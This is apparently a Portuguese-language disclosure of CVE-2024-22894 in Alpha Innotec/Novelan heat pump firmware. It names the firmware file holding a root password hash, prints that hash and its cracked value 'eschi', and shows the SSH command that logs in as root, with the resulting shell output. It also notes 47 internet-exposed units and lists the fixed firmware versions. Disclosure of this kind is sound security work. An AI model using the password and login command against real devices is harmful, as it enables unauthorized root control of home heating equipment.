
Exploit de prova de conceito para CVE-2024-22894, demonstrando extração de senha root criptografada com 3DES do firmware de bomba de calor Alpha Innotec/Novelan, permitindo acesso SSH a dispositivos IoT vulneráveis.
Baixou-se a versão mais recente do firmware da bomba de calor wp2reg-V3.88.0-9015 de https://www.heatpump24.com/DownloadArea.php.
Dentro deste firmware existe um ficheiro chamado: wp2reg-V3.88.0-9015\wp2reg-AlphaInnotech-prod\home.wp2reg-V3.88.0-9015_221213\share\shadow
Este contém uma palavra-passe encriptada com 3DES root:MEfgX2vrPJzuE:0:0:99999:7::: do utilizador root do sistema que, quando decifrada/desencriptada (em menos de 5 segundos), revela a palavra-passe eschi.
Quando ligo a minha bomba de calor à rede usando um cabo de rede, posso usar o utilizador 'root' e a palavra-passe encontrada para aceder ao serviço SSH disponível.
> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes256-cbc root@$IP
$IP's password: eschi
# id
uid=0(root) gid=0 groups=0
# uname -a
Linux [...] 2.6.33.20 #3 PREEMPT Wed Oct 24 14:25:34 CEST 2018 armv5tejl GNU/Linux
Esta vulnerabilidade é aplicável a todas as bombas de calor Alpha Innotec e Novelan que executam o controlador Luxtronic. Foi verificada e abordada pela AIT Deutschland, a OEM da Alpha Innotec e Novelan, e a vulnerabilidade está presente nas seguintes versões de firmware:
V2.88.3V3.89.0V4.81.3A bomba de calor precisa de estar ligada à rede através de uma ligação LAN (RJ-45) para ser mal utilizada. De acordo com o Shodan, ainda existem 47 bombas de calor ligadas à Internet que utilizam a mesma versão SSH e impressão digital, que poderiam ser comprometidas usando este exploit.
Uma vez explorado, poderia causar muitos danos, alterando definições ou removendo toda a configuração/software, fazendo com que a bomba de calor avarie ou bloqueie. Por exemplo, o diretório home contém os seguintes ficheiros que poderiam ser interessantes para um atacante:
# ls -alh /home
total 7448
drwxr-xr-x 5 root 0 4.8K Jan 12 08:59 .
drwxr-xr-x 14 root 0 992 Aug 1 2011 ..
drwxr-xr-x 3 root 0 224 Jan 1 1970 .update
-rw-rw-rw- 1 root 0 92.3K Jul 20 2022 10Min_1
-rw-rw-rw- 1 root 0 92.3K Sep 15 2022 10Min_2
-rwxrwxrwx 1 root 0 22.3K Jan 13 2021 ASB.bin
-rwxrwxrwx 1 root 0 23.3K Jul 15 2019 ASB_BL_Switch.bin
-rwxrwxrwx 1 root 0 22.1K Jul 15 2019 ASB_bootloader.bin
-rwxrwxrwx 1 root 0 1.2K Jun 16 2021 Defines.txt
-rwxrwxrwx 1 root 0 15.7K Jun 14 2021 HZIO.lin
-rw-rw-rw- 1 root 0 648 Jan 3 18:55 Info.dti
-rwxrwxrwx 1 root 0 15.3K Jul 24 2020 LD2AG.lin
-rwxrwxrwx 1 root 0 37.5K Jul 15 2019 LWD.lin
-rwxrwxrwx 1 root 0 26.8K Feb 8 2021 LWD45.lin
-rwxrwxrwx 1 root 0 38.8K Jul 15 2019 LWD90.lin
-rwxrwxrwx 1 root 0 37.9K Jul 15 2019 LWDRev.lin
-rwxrwxrwx 1 root 0 40.0K Jun 16 2021 LuxConst.sqlite
-rwxrwxrwx 1 root 0 26.9K Jul 24 2020 MSW_15.lin
-rwxrwxrwx 1 root 0 28.4K Jul 24 2020 MSW_Inverter.lin
-rw-rw-rw- 1 root 0 435.2K Jan 12 08:59 NewProc
-rw-rw-rw- 1 root 0 8.8K Jan 1 01:00 ParamArchive_1704067200
[...]
-rw-rw-rw- 1 root 0 8.8K Jan 12 01:00 ParamArchive_1705017600
-rwxrwxrwx 1 root 0 96.9K Jul 15 2019 SEC.bin
-rwxrwxrwx 1 root 0 31.6K Jul 15 2019 SWP.lin
-rwxrwxrwx 1 root 0 30.6K Jul 15 2019 SWPH.lin
-rwxrwxrwx 1 root 0 30.4K Jul 15 2019 SWPH291.lin
drwxrwxrwx 2 root 0 648 Apr 25 2023 Webserver
-rwxrwxrwx 1 root 0 5.0M Jun 16 2021 appl
-rwxrwxrwx 1 root 0 147 Jul 15 2019 appl.cfg
-rw-rw-rw- 1 root 0 8.8K Jan 12 08:59 appl_param1
-rw-rw-rw- 1 root 0 8.8K Jan 12 06:59 appl_param2
-rwxrwxrwx 1 root 0 9.4K Jul 15 2019 bootloader.lin
-rw-r--r-- 1 root 0 20.0K Jan 1 05:10 default.sqlite
-rw-r--r-- 1 root 0 0 Jan 1 1970 default.sqlite-wal
-rw-rw-r-- 1 root 0 56 Sep 15 2022 errlog
-rw-r--r-- 1 root 0 42.9K Apr 1 2011 firmware
-rwxrwxrwx 1 root 0 391 Jul 15 2019 index.html
-rwxrwxrwx 1 root 0 35.2K Jun 16 2021 lang_CR
[...
-rwxrwxrwx 1 root 0 37.8K Jun 16 2021 lang_tr
drwxr-xr-x 2 root 0 360 Jan 1 1970 share
-rwxrwxrwx 1 root 0 37 Jul 15 2019 timezone
-rwxrwxrwx 1 root 0 1.1K Jul 15 2019 udhcpc.script
V2.88.3 ou superiorV3.89.0 ou superiorV4.81.3 ou superiorOs créditos vão para a AIT-Deutschland por levar este problema a sério e corrigi-lo com prioridade.